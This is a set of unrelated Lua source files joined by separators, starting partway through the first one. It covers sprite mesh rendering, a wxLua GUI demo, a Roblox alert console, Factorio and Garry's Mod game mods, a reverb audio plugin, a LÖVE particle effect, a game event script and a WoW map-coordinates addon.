self._repeatedCount = self._repeatedCount+1
self._reversed = not self._reversed
end
else
self._frame = self._frame+1
if self._frame > self._frameCount - 1 then
self._frame = math.max(0, _frameCount - 2)
self._repeatedCount = self._repeatedCount+1
self._reversed = not self._reversed
end
end
else
self._frame = self._frame+1
if self._frame > self._frameCount - 1 then
self._frame = 0
self._repeatedCount = self._repeatedCount+1
end
end
if self._status == 1 then --new loop
self._frame = self._start
self._frameElapsed = 0
self._status = 0
self:drawFrame()
elseif self._status == 2 then --ending
self._frame = self._endAt
self._frameElapsed = 0
self._status = 3 --ended
self:drawFrame()
self._owner:emit("playEnd")
else
self:drawFrame()
if self._frame == self._end then
if self._times > 0 then
self._times = self._times-1
if self._times == 0 then
self._status = 2 --ending
else
self._status = 1 --new loop
end
elseif self._start~=0 then
self._status = 1 --new loop
end
end
end
end
function UISprite:drawFrame()
if self._frameCount > 0 then
local texture = self._frames[self._frame+1].texture
if texture then
local path = self.nativeObject.path
path:setVertex(1, texture.sourceX, texture.sourceY+texture.height)
path:setVertex(2, texture.sourceX, texture.sourceY)
path:setVertex(3, texture.sourceX+texture.width, texture.sourceY)
path:setVertex(4, texture.sourceX+texture.width, texture.sourceY+texture.height)
end
self.nativeObject.fill.frame = texture.frame
end
end
function UISprite:newRenderer(vertices, uvs, indices)
local mesh = {
mode = "indexed",
zeroBasedIndices = true,
vertices = vertices,
uvs = uvs,
indices = indices
}
local newObj = display.newMesh(GRoot._hidden_root, mesh)
newObj.fill = self._texture
self:setNativeObject(newObj)
self:applyScale()
end
function UISprite:setNativeObject(newObj)
local oldObj = self.nativeObject
self.nativeObject = newObj
if not newObj then
if oldObj then
if self._isDisplayObj then
self._owner:replaceDisplayObject(nil)
else
oldObj:removeSelf()
oldObj = nil
end
end
return
end
newObj:setFillColor(tools.unpackColor(self._color))
self._sourceWidth = self._width
self._sourceHeight = self._height
local this = self
newObj.setSize = function(w, h)
this:setSize(w, h)
end
newObj.setScale = function(x, y)
this:setScale(x, y)
end
if self._objType~=1 and self._objType~=2 then
newObj.setAnchor = function(x, y)
this:setAnchor(x, y)
end
end
if self._isDisplayObj then
self._owner:replaceDisplayObject(newObj)
else
newObj.anchorX = 0
newObj.anchorY = 0
if oldObj then
oldObj:removeSelf()
oldObj = nil
end
self._owner.displayObject:insert(newObj)
end
end
function UISprite:simpleMesh()
local w = self._texture.sourceWidth or self._texture.width
local h = self._texture.sourceHeight or self._texture.height
return { 0,h, 0,0, w,0, w,h }, UVS_SIMPLE[self._flip+1], TRIANGLES_4
end
function UISprite:updateSimpleMesh()
local path = self.nativeObject.path
local uvs = UVS_SIMPLE[self._flip+1]
path:setUV(1, uvs[1], uvs[2])
path:setUV(2, uvs[3], uvs[4])
path:setUV(3, uvs[5], uvs[6])
path:setUV(4, uvs[7], uvs[8])
end
function UISprite:repeatMesh()
local w = self._width
local h = self._height
return { 0,h, 0,0, w,0,w, h }, UVS_SIMPLE[self._flip+1], TRIANGLES_4
end
function UISprite:updateRepeatMesh()
local path = self.nativeObject.path
local w = self._width
local h = self._height
path:setVertex(1, 0, h)
path:setVertex(2, 0, 0)
path:setVertex(3, w, 0)
path:setVertex(4, w, h)
local uvs = UVS_SIMPLE[self._flip+1]
path:setUV(1, uvs[1], uvs[2])
path:setUV(2, uvs[3], uvs[4])
path:setUV(3, uvs[5], uvs[6])
path:setUV(4, uvs[7], uvs[8])
end
function UISprite:setRepeatParams()
local obj = self.nativeObject
obj.fill.x = -(self._width%self._texture.width)/self._texture.width*0.5
obj.fill.y = (self._height%self._texture.height)/self._texture.height*0.5
obj.fill.scaleX = self._texture.width/self._width
obj.fill.scaleY = self._texture.height/self._height
end
local _gridX = {}
local _gridY = {}
local _gridTexX = {}
local _gridTexY = {}
local _gridRect = {}
function UISprite:generateGrids()
local gridRect = _gridRect
gridRect.x = self._scale9Grid.x
gridRect.y = self._scale9Grid.y
gridRect.width = self._scale9Grid.width
gridRect.height = self._scale9Grid.height
local sourceW = self._texture.width
local sourceH = self._texture.height
if self._flip ~= FlipType.None then
if self._flip == FlipType.Horizontal or self._flip == FlipType.Both then
gridRect.x = sourceW - (gridRect.x + gridRect.width)
end
if self._flip == FlipType.Vertical or self._flip == FlipType.Both then
gridRect.y = sourceH - (gridRect.y + gridRect.height)
end
end
local sx = 1 / sourceW
local sy = 1 / sourceH
local xMax2 = gridRect.x+gridRect.width
local yMax2 = gridRect.y+gridRect.height
_gridTexX[1] = 0
_gridTexX[2] = gridRect.x * sx
_gridTexX[3] = xMax2 * sx
_gridTexX[4] = 1
_gridTexY[1] = 0
_gridTexY[2] = gridRect.y * sy
_gridTexY[3] = yMax2 * sy
_gridTexY[4] = 1
_gridX[1] = 0
_gridY[1] = 0
if self._width >= (sourceW - gridRect.width) then
_gridX[2] = gridRect.x
_gridX[3] = self._width - (sourceW - xMax2)
_gridX[4] = self._width
else
local tmp = gridRect.x / (sourceW - xMax2)
tmp = self._width * tmp / (1 + tmp)
_gridX[2] = tmp
_gridX[3] = tmp
_gridX[4] = self._width
end
if self._height >= (sourceH - gridRect.height) then
_gridY[2] = gridRect.y
_gridY[3] = self._height - (sourceH - yMax2)
_gridY[4] = self._height
else
local tmp = gridRect.y / (sourceH - yMax2)
tmp = self._height * tmp / (1 + tmp)
_gridY[2] = tmp
_gridY[3] = tmp
_gridY[4] = self._height
end
end
function UISprite:slicedMesh()
self:generateGrids()
local vertices = {}
local uvs = {}
for cy=1,4 do
for cx=1,4 do
table.insert(vertices, _gridX[cx])
table.insert(vertices, _gridY[cy])
table.insert(uvs, _gridTexX[cx])
table.insert(uvs, _gridTexY[cy])
end
end
return vertices, uvs, TRIANGLES_SLICED
end
function UISprite:updateSlicedMesh()
local path = self.nativeObject.path
self:generateGrids()
local i=1
for cy=1,4 do
for cx=1,4 do
path:setVertex(i, _gridX[cx], _gridY[cy])
path:setUV(i, _gridTexX[cx], _gridTexY[cy])
i = i+1
end
end
end
function UISprite:fillMesh()
local method = self._fillMethod
if method==FillMethod.Horizontal or method==FillMethod.Vertical or method==FillMethod.Radial90 then
return self:simpleMesh()
elseif method==FillMethod.Radial180 then
return ZERO_ARRAY_8, ZERO_ARRAY_8, TRIANGLES_8
elseif self._fillMethod==FillMethod.Radial360 then
return ZERO_ARRAY_16, ZERO_ARRAY_16, TRIANGLES_16
end
end
function UISprite:updateFillMesh()
if self._fillMethod==0 then return end
self._owner:delayedCall(self._updateFillMesh, self)
end
function UISprite:_updateFillMesh()
if self._fillMethod==0 then return end
local w = self._texture.sourceWidth or self._texture.width
local h = self._texture.sourceHeight or self._texture.height
generateFillMesh(self.nativeObject.path, w, h, self._fillMethod, self._fillOrigin, self._fillAmount, self._fillClockwise)
end
return UISprite |
-----------------------------------------------------------------------------
-- Name: minimal.wx.lua
-- Purpose: Minimal wxLua sample
-- Author: J Winwood
-- Modified by:
-- Created: 16/11/2001
-- RCS-ID: $Id: minimal.wx.lua,v 1.11 2008/01/22 04:45:39 jrl1 Exp $
-- Copyright: (c) 2001 J Winwood. All rights reserved.
-- Licence: wxWidgets licence
-----------------------------------------------------------------------------
-- Load the wxLua module, does nothing if running from wxLua, wxLuaFreeze, or wxLuaEdit
package.cpath = package.cpath..";./?.dll;./?.so;../lib/?.so;../lib/vc_dll/?.dll;../lib/bcc_dll/?.dll;../lib/mingw_dll/?.dll;"
require("wx")
frame = nil
-- paint event handler for the frame that's called by wxEVT_PAINT
function OnPaint(event)
-- must always create a wxPaintDC in a wxEVT_PAINT handler
local dc = wx.wxPaintDC(panel)
-- call some drawing functions
dc:DrawRectangle(10, 10, 300, 300);
dc:DrawRoundedRectangle(20, 20, 280, 280, 20);
dc:DrawEllipse(30, 30, 260, 260);
dc:DrawText("A test string", 50, 150);
-- the paint DC will be automatically destroyed by the garbage collector,
-- however on Windows 9x/Me this may be too late (DC's are precious resource)
-- so delete it here
dc:delete() -- ALWAYS delete() any wxDCs created when done
end
-- Create a function to encapulate the code, not necessary, but it makes it
-- easier to debug in some cases.
function main()
-- create the wxFrame window
frame = wx.wxFrame( wx.NULL, -- no parent for toplevel windows
wx.wxID_ANY, -- don't need a wxWindow ID
"wxLua Minimal Demo", -- caption on the frame
wx.wxDefaultPosition, -- let system place the frame
wx.wxSize(450, 450), -- set the size of the frame
wx.wxDEFAULT_FRAME_STYLE ) -- use default frame styles
-- create a single child window, wxWidgets will set the size to fill frame
panel = wx.wxPanel(frame, wx.wxID_ANY)
-- connect the paint event handler function with the paint event
panel:Connect(wx.wxEVT_PAINT, OnPaint)
-- create a simple file menu
local fileMenu = wx.wxMenu()
fileMenu:Append(wx.wxID_EXIT, "E&xit", "Quit the program")
-- create a simple help menu
local helpMenu = wx.wxMenu()
helpMenu:Append(wx.wxID_ABOUT, "&About", "About the wxLua Minimal Application")
-- create a menu bar and append the file and help menus
local menuBar = wx.wxMenuBar()
menuBar:Append(fileMenu, "&File")
menuBar:Append(helpMenu, "&Help")
-- attach the menu bar into the frame
frame:SetMenuBar(menuBar)
-- create a simple status bar
frame:CreateStatusBar(1)
frame:SetStatusText("Welcome to wxLua.")
-- connect the selection event of the exit menu item to an
-- event handler that closes the window
frame:Connect(wx.wxID_EXIT, wx.wxEVT_COMMAND_MENU_SELECTED,
function (event) frame:Close(true) end )
-- connect the selection event of the about menu item
frame:Connect(wx.wxID_ABOUT, wx.wxEVT_COMMAND_MENU_SELECTED,
function (event)
wx.wxMessageBox('This is the "About" dialog of the Minimal wxLua sample.\n'..
wxlua.wxLUA_VERSION_STRING.." built with "..wx.wxVERSION_STRING,
"About wxLua",
wx.wxOK + wx.wxICON_INFORMATION,
frame)
end )
-- show the frame window
frame:Show(true)
end
main()
-- Call wx.wxGetApp():MainLoop() last to start the wxWidgets event loop,
-- otherwise the wxLua program will exit immediately.
-- Does nothing if running from wxLua, wxLuaFreeze, or wxLuaEdit since the
-- MainLoop is already running or will be started by the C++ program.
wx.wxGetApp():MainLoop()
|
-- Zytharian (roblox: Legend26)
-- Services
local projectRoot = game:GetService("ServerScriptService")
local RS = game:GetService("ReplicatedStorage")
-- Includes
local cs = require(projectRoot.Modules.ClassSystem)
local Access = require(projectRoot.Modules.AccessManagement)
local CEnums = require(RS.CommandEnums)
local LEnums = require(projectRoot.Modules.Enums)
-- Configuration
local DEBUG = false
--[[
init(Network network)
Properties:
string name
Methods:
bool handleCommand(Section section, Enum::ConsoleType conType, table dat, Rbx::Player player)
True on command success, false otherwise.
table getBatchInfo(Section section, Enum::ConsoleType conType, Rbx::Player player)
Events:
networkUpdate(...)
Callbacks:
void
]]
--------
-- Header end
--------
local alarmFlag = Instance.new("BoolValue", RS)
alarmFlag.Name = "FLAG_AlarmPlaying"
cs.class 'GeneralHandler' : extends "ConsoleHandler" (function (this)
--[[
Internal properties:
bool inRedAlert
]]
function this:init ()
self.name = "General"
self.inRedAlert = false
end
function this.member:handleCommand(section, conType, dat, player)
if conType == LEnums.ConsoleType:GetItem"Local" then
return false
end
if dat.tab == "Base Alerts" then
if dat.index == 1 then -- State
if dat.newState then -- normal
self.network:setMode(LEnums.SectionMode:GetItem"Normal")
alarmFlag.Value = false
self:setRedAlert(false)
else -- lockdown
self.network:setMode(LEnums.SectionMode:GetItem"Lockdown")
alarmFlag.Value = true
self:setRedAlert(true)
end
self.networkUpdate:Fire({tab = dat.tab; index = 3; newState = dat.newState}) -- update alarm
elseif dat.index == 2 then -- Alert
self:setRedAlert(not dat.newState)
elseif dat.index == 3 then
if dat.newState then
alarmFlag.Value = false
else
alarmFlag.Value = true
end
else
print("Bad id (general handler - base alerts): " .. tostring(dat.index))
return false
end
self.networkUpdate:Fire({tab = dat.tab; index = dat.index; newState = dat.newState})
return true
end
if conType == LEnums.ConsoleType:GetItem"Control" then
return false
end
if dat.tab == "Core" then
if dat.index == 1 then -- Reset
self.network:setMode(LEnums.SectionMode:GetItem"Normal")
if self.network:getTrain() ~= nil then
self.network:getTrain():setEnabled(true)
end
alarmFlag.Value = false
self:setRedAlert(false)
return true
elseif dat.index == 2 and self.network:getTrain() then -- Train enable/disable
local enabled = self.network:getTrain():isEnabled()
if (enabled and dat.newState) or (not enabled and not dat.newState) then
return true -- already in that state
end
self.network:getTrain():setEnabled(not enabled)
elseif (not self.network:getTrain() and dat.index == 3) or (self.network:getTrain() and dat.index == 4) then --
if not Access.IsPrivilegedUser(player) then
return false
end
self.network.lockoutEnabled = dat.newState
return true
else
return false
end
self.networkUpdate:Fire({tab = dat.tab; index = dat.index; newState = dat.newState})
return true
end
end
function this.member:getBatchInfo(section, conType, player)
local toReturn = {}
-- Base monitor
local baseMon = {}
for _,v in next, self.network:getSections() do
table.insert(baseMon, {CEnums.ScreenType.Section, v.name })
table.insert(baseMon, {CEnums.ScreenType.Section, " Status: " .. v:getMode().Name })
end
toReturn["Base Monitor"] = baseMon
-- Gate monitor
-- TODO
--local gateMon = {}
--toReturn["Gate Monitor"] = gateMon
if conType == LEnums.ConsoleType:GetItem"Local" then
return toReturn
end
-- Base alerts (Control+)
local baseAlert = {}
-- Base State
table.insert(baseAlert, {CEnums.ScreenType.OnlineOffline, "Base State", self.network:getMode() ~= LEnums.SectionMode:GetItem"Lockdown" , "Normal", "Global Lockdown" })
-- Base Alert
table.insert(baseAlert, {CEnums.ScreenType.OnlineOffline, "Alert State", not self.inRedAlert , "Green", "Red" })
-- Alarm
table.insert(baseAlert, {CEnums.ScreenType.OnlineOffline, "Alarm", not alarmFlag.Value, "Off", "Sounding" })
toReturn["Base Alerts"] = baseAlert
if conType == LEnums.ConsoleType:GetItem"Control" then
return toReturn
end
-- Core (Core+)
local core = {}
-- Reset
table.insert(core, {CEnums.ScreenType.OnlineOffline, "Reset" , true, "Do Reset","Reset Complete"})
-- Train disable
if self.network:getTrain() then
table.insert(core, {CEnums.ScreenType.OnlineOffline, "Train", self.network:getTrain():isEnabled(), "Enabled", "Disabled"})
end
if Access.IsPrivilegedUser(player) then
table.insert(core, {CEnums.ScreenType.Section, "Privileged"})
table.insert(core, {CEnums.ScreenType.OnlineOffline, "Lockout", self.network.lockoutEnabled, "Enabled", "Disabled"})
end
toReturn["Core"] = core
return toReturn
end
function this.member:setRedAlert(enabled)
if self.inRedAlert == enabled then return end
self.inRedAlert = enabled
local RED = Color3.new(1, 100/255, 100/255)
local sections = self.network:getSections()
for _,v in next, sections do
v:setLightingColor(enabled and RED or nil)
end
end
this.get.name = true
this.get.handleCommand = true
this.get.getBatchInfo = true
this.get.networkUpdate = true
end)
return false |
require("prototypes.compatability.Krastorio2_Equipment");
local function AddEquipmentCategories(equipment_category)
if data.raw["equipment-category"][equipment_category] then
table.insert(data.raw["equipment-grid"]["cargo-plane-equipment-grid"].equipment_categories, equipment_category)
table.insert(data.raw["equipment-grid"]["better-cargo-plane-equipment-grid"].equipment_categories, equipment_category)
table.insert(data.raw["equipment-grid"]["even-better-cargo-plane-equipment-grid"].equipment_categories, equipment_category)
end
end
if settings.startup["non-combat-mode"].value == false then
AddEquipmentCategories("vehicle");
if settings.startup["betterCargoPlanes-MilitaryEquipment"].value == true then
if data.raw["equipment-category"]["armoured-vehicle"] then
AddEquipmentCategories("armoured-vehicle");
end
end
end |
return {
RouteNotFoundError = require("tbsp.errors.route_not_found"),
StaticFileNotFoundError = require("tbsp.errors.static_file_not_found")
}
|
local a
a = b or c or d == e
|
include('shared.lua')
surface.CreateFont('BankFont', {font = 'Coolvetica Rg', size = 100})
function ENT:Draw()
self:DrawModel()
if LocalPlayer():GetPos():DistToSqr(self:GetPos()) <= 360000 then --600^2
if not self.DisplayText then
self.DisplayText = {}
self.DisplayText.Rotation = 0
self.DisplayText.LastRotation = 0
end
local pos = self:GetPos()
local ang = self:GetAngles()
local ang2 = self:GetAngles()
local status = self:GetStatus()
ang:RotateAroundAxis(ang:Forward(), 90)
ang:RotateAroundAxis(ang:Right(), self.DisplayText.Rotation)
ang2:RotateAroundAxis(ang2:Forward(), 90)
ang2:RotateAroundAxis(ang2:Right(), self.DisplayText.Rotation +180)
cam.Start3D2D(pos, ang, 0.15)
draw.SimpleTextOutlined(DarkRP.formatMoney(self:GetReward()), 'BankFont', 0, -485, Color(20, 150, 20, 255), 1, 1, 5, color_black)
if status == 1 then
draw.SimpleTextOutlined('Bank Vault', 'BankFont', 0, -640, color_white, 1, 1, 5, color_black)
draw.SimpleTextOutlined('Robbing: '..string.ToMinutesSeconds(math.Clamp(math.Round(self:GetNextAction() -CurTime()), 0, BANK_CONFIG.RobberyTime)), 'BankFont', 0, -565, Color(255, 0, 0), 1, 1, 5, color_black)
elseif status == 2 then
draw.SimpleTextOutlined('Bank Vault', 'BankFont', 0, -640, color_white, 1, 1, 5, color_black)
draw.SimpleTextOutlined('Cooldown: '..string.ToMinutesSeconds(math.Clamp(math.Round(self:GetNextAction() -CurTime()), 0, BANK_CONFIG.CooldownTime)), 'BankFont', 0, -565, Color(255, 0, 0), 1, 1, 5, color_black)
else
draw.SimpleTextOutlined('Bank Vault', 'BankFont', 0, -565, Color(255, 255, 255, 255), 1, 1, 5, color_black)
end
cam.End3D2D()
cam.Start3D2D(pos, ang2, 0.15)
draw.SimpleTextOutlined(DarkRP.formatMoney(self:GetReward()), 'BankFont', 0, -485, Color(20, 150, 20, 255), 1, 1, 5, color_black)
if status == 1 then
draw.SimpleTextOutlined('Bank Vault', 'BankFont', 0, -640, color_white, 1, 1, 5, color_black)
draw.SimpleTextOutlined('Robbing: '..string.ToMinutesSeconds(math.Clamp(math.Round(self:GetNextAction() -CurTime()), 0, BANK_CONFIG.RobberyTime)), 'BankFont', 0, -565, Color(255, 0, 0), 1, 1, 5, color_black)
elseif status == 2 then
draw.SimpleTextOutlined('Bank Vault', 'BankFont', 0, -640, color_white, 1, 1, 5, color_black)
draw.SimpleTextOutlined('Cooldown: '..string.ToMinutesSeconds(math.Clamp(math.Round(self:GetNextAction() -CurTime()), 0, BANK_CONFIG.CooldownTime)), 'BankFont', 0, -565, Color(255, 0, 0), 1, 1, 5, color_black)
else
draw.SimpleTextOutlined('Bank Vault', 'BankFont', 0, -565, Color(255, 255, 255, 255), 1, 1, 5, color_black)
end
cam.End3D2D()
if self.DisplayText.Rotation > 359 then
self.DisplayText.Rotation = 0
end
self.DisplayText.Rotation = self.DisplayText.Rotation -50 *(self.DisplayText.LastRotation -CurTime())
self.DisplayText.LastRotation = CurTime()
end
end
hook.Add('HUDPaint', 'BankRS_DrawWarningText', function()
if BANK_CONFIG.Government[team.GetName(LocalPlayer():Team())] then
for k, v in pairs(ents.FindByClass('bank_vault')) do
if v:GetStatus() == 1 then
local pos = (v:GetPos() +Vector(0, 0, 80)):ToScreen()
draw.DrawText('BANK BEING ROBBED', 'Default', pos.x, pos.y, HSVToColor(CurTime() *100 %360, 1, 1), 1)
break
end
end
end
end)
hook.Add('PreDrawHalos', 'BankRS_DrawWarningHalo', function()
if BANK_CONFIG.Government[team.GetName(LocalPlayer():Team())] then
for k, v in pairs(ents.FindByClass('bank_vault')) do
if v:GetStatus() == 1 then
halo.Add({v}, Color(255, 0, 0), 0, 0, 5, true, true)
break
end
end
end
end) |
--[[
stereo reverb with early reflection section
]]
require "include/protoplug"
local cbFilter = require "include/dsp/cookbook filters"
local Line = require "include/dsp/delay_line"
tapl = {
1, 150, 353,
546, 661, 683,
688, 1144, 1770,
2359, 2387, 2441,
2469, 2662, 2705,
3057, 3084, 3241,
3413, 3610,
}
ampl = {
0.6579562483759885, 0.24916228159437137,
-0.5122038920577012, 0.36330673539935077,
-0.4333746605125533, -0.4577140871718608,
0.49781845692600857, -0.18939379696133735,
-0.2742675178348754, -0.026542803499400146,
0.14192882965401657, -0.13860435085891593,
0.0465555003986965, -0.044959474245282856,
-0.14768870058256517, -0.08116161585856699,
-0.046801445561742955, -0.0979962170313839,
-0.04455145315483788, 0.08921755954681033,
}
tapr = {
1, 21, 793,
967, 1159, 1202,
1742, 1862, 2069,
2164, 2471, 2473,
3126, 3272, 3328,
3352, 3459, 3622,
3666, 3789,
}
ampr = {
0.29755424362094174, 0.9032103522197956,
0.30566236871633573, -0.14208683332676209,
0.13793374915217088, 0.1019480721591429,
-0.20205322951447593, 0.10501607467781215,
0.23692289191968258, 0.0501838324018514,
0.07338616539393834, 0.09096667690763441,
-0.1218410929057997, 0.07558917751391205,
0.12901113392801317, 0.07933521679736777,
-0.08103780888639031, 0.041229283316782016,
-0.07247541530737873, 0.07164683067383586,
}
local balance = 1.0
local tmult = 1.0
local pre_t = 50
local kap = 0.5 -- 0.625
local l1 = 1297
local l2 = 1453
local l3 = 3187
local l4 = 3001
local l5 = 7109
local l6 = 7307
local l7 = 461
local l8 = 587
local feedback = 0.4
local time = 1.0
local time_ = 1.0
local t_60 = 1.0
local latebalance = 0.5
--- init
local line_l = Line(4000)
local line_r = Line(4000)
local pre_l = Line(4000)
local pre_r = Line(4000)
local line1 = Line(8000)
local line2 = Line(8000)
local line3 = Line(8000)
local line4 = Line(8000)
local line5 = Line(8000)
local line6 = Line(8000)
local line7 = Line(8000)
local line8 = Line(8000)
local lfot = 0
-- absorption filters
local shelf1 = cbFilter
{
type = "ls";
f = 200;
gain = -3;
Q = 0.7;
}
local shelf2 = cbFilter
{
type = "ls";
f = 200;
gain = -3;
Q = 0.7;
}
function plugin.processBlock (samples, smax)
for i = 0, smax do
-- timing etc
lfot = lfot + 1/44100
local mod = 1.0 + 0.005 * math.sin(5.35*lfot)
local mod2 = 1.0 + 0.008 * math.sin(3.12*lfot)
time_ = time_ - (time_ - time)*0.001
--input
local input_l = samples[0][i]
local input_r = samples[1][i]
local sl = 0
local sr = 0
-- get early reflections
for i,v in ipairs(tapl) do
sl = sl + line_l.goBack_int(tapl[i]*time_) * ampl[i]
sr = sr + line_r.goBack_int(tapr[i]*time_) * ampr[i]
end
-- FDN network
local d1 = line1.goBack(l1*time_)
local d2 = line2.goBack(l2*time_)
local d3 = line3.goBack(l3*time_*mod)
local d4 = line4.goBack(l4*time_*mod2)
local d5 = line5.goBack(l5*time_)
local d6 = line6.goBack(l6*time_)
local d7 = line7.goBack(l7*time_)
local d8 = line8.goBack(l8*time_)
local gain = feedback * 1
-- orthogonal matrix
local s1 = shelf1.process(sl + (-0.38154601*d1 +0.628773*d2 -0.10215126*d3 -0.30873564*d4 +0.29937741*d5 +0.12424767*d6 -0.49660452*d7 +0.04042556*d8) * gain)
local s2 = shelf2.process(sr + (-0.2584172*d1 -0.55174203*d2 -0.06248554*d3 +0.37784024*d4 +0.57404789*d5 -0.03341235*d6 -0.3874204*d7 -0.0373049*d8) * gain)
local s3 = (sl + (0.17616566*d1 -0.01007151*d2 -0.04866929*d3 -0.35528839*d4 +0.52151794*d5 +0.13894576*d6 +0.38018032*d7 -0.63595732*d8) * gain)
local s4 = (sr + (0.12975732*d1 +0.03687724*d2 -0.76552876*d3 +0.09895528*d4 +0.17093164*d5 +0.34177725*d6 +0.26503808*d7 +0.41194924*d8) * gain)
local s5 = (sl + (0.05112898*d1 -0.29865626*d2 -0.01737311*d3 -0.66020401*d4 +0.18506261*d5 -0.48593184*d6 +0.02308613*d7 +0.44845091*d8) * gain)
local s6 = (sr + (-0.46884187*d1 +0.2952903*d2 +0.11892298*d3 +0.31459522*d4 +0.24989798*d5 -0.41323626*d6 +0.57250508*d7 +0.13748759*d8) * gain)
local s7 = (sl + (0.32402592*d1 +0.20785793*d2 -0.46688196*d3 +0.19598948*d4 -0.05089573*d5 -0.66318809*d6 -0.23372278*d7 -0.31365027*d8) * gain)
local s8 = (sr + (-0.64214657*d1 -0.28136637*d2 -0.40599807*d3 -0.22944654*d4 -0.42468347*d5 -0.0248217*d6 +0.07473791*d7 -0.32317593*d8) * gain)
-- update delay lines
pre_l.push(input_l)
pre_r.push(input_r)
pl = pre_l.goBack_int(pre_t)
pr = pre_r.goBack_int(pre_t)
line_l.push(pl)
line_r.push(pr)
line1.push(s1)
line2.push(s2)
line3.push(s3)
line4.push(s4)
line5.push(s5)
line6.push(s6)
line7.push(s7)
line8.push(s8)
-- output
sl = sl * (1.0-latebalance) + 0.5 * (d1 +d2 +d3 +d4 +d5 + d6 + d7 + d8) * latebalance
sr = sr * (1.0-latebalance) + 0.5 * (d1 -d2 +d3-d4 +d5- d6 + d7- d8) * latebalance
samples[0][i] = input_l*(1.0-balance) + sl*balance
samples[1][i] = input_r*(1.0-balance) + sr*balance
end
end
function setFeedback(t)
if t then
t_60 = t
end
--print(t_60)
if t_60 > 15 then
feedback = 1.0
else
feedback = 10 ^ (- (60 * 4000 * time) / (t_60 * 44100*20))
end
end
params = plugin.manageParams {
{
name = "Dry/Wet";
min = 0;
max = 1;
changed = function(val) balance = val end;
};
{
name = "Balance";
min = 0;
max = 1;
changed = function(val) latebalance = val end;
};
{
name = "PreDelay";
min = 0;
max = 60;
changed = function(val) pre_t = 1 + val*44100/1000 end;
};
--[[{
name = "Early Size";
min = 0.1;
max = 1;
changed = function(val) tmult = val end;
};]]
{
name = "Size";
min = 0.3;
max = 1;
changed = function(val) time = val; setFeedback() end;
};
{
name = "Decay Time";
min = 0;
max = 1;
changed = function(val) setFeedback(2 ^ (8*val - 4)) end;
};
}
|
local function getExplosion(x, y)
local explosion = {}
explosion.lifetime = 10
explosion.name = 'explosion'
explosion.deleted = false
explosion.particleSystem = love.graphics.newParticleSystem(resources.images.explosion)
explosion.particleSystem:setSpeed(70, 150)
explosion.particleSystem:setParticleLifetime(1, 2)
explosion.particleSystem:setSizes(0.3, 0.7, 0.9)
explosion.particleSystem:setSizeVariation(0.7)
explosion.particleSystem:setSpread(math.pi*2)
explosion.particleSystem:setRotation(0, 2 * math.pi)
explosion.particleSystem:setEmissionArea("uniform", 1, 1)
explosion.particleSystem:setColors(1, 0.8, 0.45, 0.0,
1, 0.5, 0.2, 0.6,
1, 0.3, 0.1, 0)
explosion.particleSystem:emit(3)
function explosion:initialize()
explosion.body = love.physics.newBody(world, x, y)
end
function explosion:getEmitterPosition()
return x, y
end
function explosion:update(dt)
if self.lifetime < 0 then
self.destroyed = true
else
self.lifetime = self.lifetime - dt
end
self.particleSystem:update(dt)
end
return explosion
end
return getExplosion
|
Talk(8, "这”侠客行”的古诗图解,包含着古往今来最博大精深的武学秘奥...你瞧,这第一句”赵客缦胡缨”,其中对这个”胡”字的注解...", "talkname8", 0);
if InTeam(38) == true then goto label0 end;
do return end;
::label0::
--Add3EventNum(-2, 4, 0, 0, 26)
--Add3EventNum(-2, 5, 0, 0, 26)
--Add3EventNum(-2, 6, 0, 0, 3)
ModifyEvent(-2, -2, -2, -2, 384, -1, -1, -2, -2, -2, -2, -2, -2);
do return end;
|
local K = unpack(select(2, ...))
local _G = _G
local select = select
local pairs = pairs
local Enum = _G.Enum
local IsFalling = _G.IsFalling
local CreateFrame = _G.CreateFrame
local UnitPosition = _G.UnitPosition
local GetUnitSpeed = _G.GetUnitSpeed
local CreateVector2D = _G.CreateVector2D
local C_Map_GetMapInfo = _G.C_Map.GetMapInfo
local C_Map_GetBestMapForUnit = _G.C_Map.GetBestMapForUnit
local C_Map_GetWorldPosFromMapPos = _G.C_Map.GetWorldPosFromMapPos
local MapUtil = _G.MapUtil
K.MapInfo = {}
function K:MapInfo_Update()
local mapID = C_Map_GetBestMapForUnit("player")
local mapInfo = mapID and C_Map_GetMapInfo(mapID)
K.MapInfo.name = (mapInfo and mapInfo.name) or nil
K.MapInfo.mapType = (mapInfo and mapInfo.mapType) or nil
K.MapInfo.parentMapID = (mapInfo and mapInfo.parentMapID) or nil
K.MapInfo.mapID = mapID or nil
K.MapInfo.zoneText = (mapID and K:GetZoneText(mapID)) or nil
local continent = mapID and MapUtil.GetMapParentInfo(mapID, Enum.UIMapType.Continent, true)
K.MapInfo.continentParentMapID = (continent and continent.parentMapID) or nil
K.MapInfo.continentMapType = (continent and continent.mapType) or nil
K.MapInfo.continentMapID = (continent and continent.mapID) or nil
K.MapInfo.continentName = (continent and continent.name) or nil
K:MapInfo_CoordsUpdate()
end
local coordsWatcher = CreateFrame("Frame")
function K:MapInfo_CoordsStart()
K.MapInfo.coordsWatching = true
K.MapInfo.coordsFalling = nil
coordsWatcher:SetScript("OnUpdate", K.MapInfo_OnUpdate)
if K.MapInfo.coordsStopTimer then
K:CancelTimer(K.MapInfo.coordsStopTimer)
K.MapInfo.coordsStopTimer = nil
end
end
function K:MapInfo_CoordsStopWatching()
K.MapInfo.coordsWatching = nil
K.MapInfo.coordsStopTimer = nil
coordsWatcher:SetScript("OnUpdate", nil)
end
function K:MapInfo_CoordsStop(event)
if event == "CRITERIA_UPDATE" then
if not K.MapInfo.coordsFalling then -- stop if we weren"t falling
return
end
if (GetUnitSpeed("player") or 0) > 0 then -- we are still moving!
return
end
K.MapInfo.coordsFalling = nil -- we were falling!
elseif (event == "PLAYER_STOPPED_MOVING" or event == "PLAYER_CONTROL_GAINED") and IsFalling() then
K.MapInfo.coordsFalling = true
return
end
if not K.MapInfo.coordsStopTimer then
K.MapInfo.coordsStopTimer = K:ScheduleTimer("MapInfo_CoordsStopWatching", 0.5)
end
end
function K:MapInfo_CoordsUpdate()
if K.MapInfo.mapID then
K.MapInfo.x, K.MapInfo.y = K:GetPlayerMapPos(K.MapInfo.mapID)
else
K.MapInfo.x, K.MapInfo.y = nil, nil
end
if K.MapInfo.x and K.MapInfo.y then
K.MapInfo.xText = K.Round(100 * K.MapInfo.x, 2)
K.MapInfo.yText = K.Round(100 * K.MapInfo.y, 2)
else
K.MapInfo.xText, K.MapInfo.yText = nil, nil
end
end
function K:MapInfo_OnUpdate(elapsed)
self.lastUpdate = (self.lastUpdate or 0) + elapsed
if self.lastUpdate > 0.1 then
K:MapInfo_CoordsUpdate()
self.lastUpdate = 0
end
end
-- This code fixes C_Map.GetPlayerMapPosition memory leak.
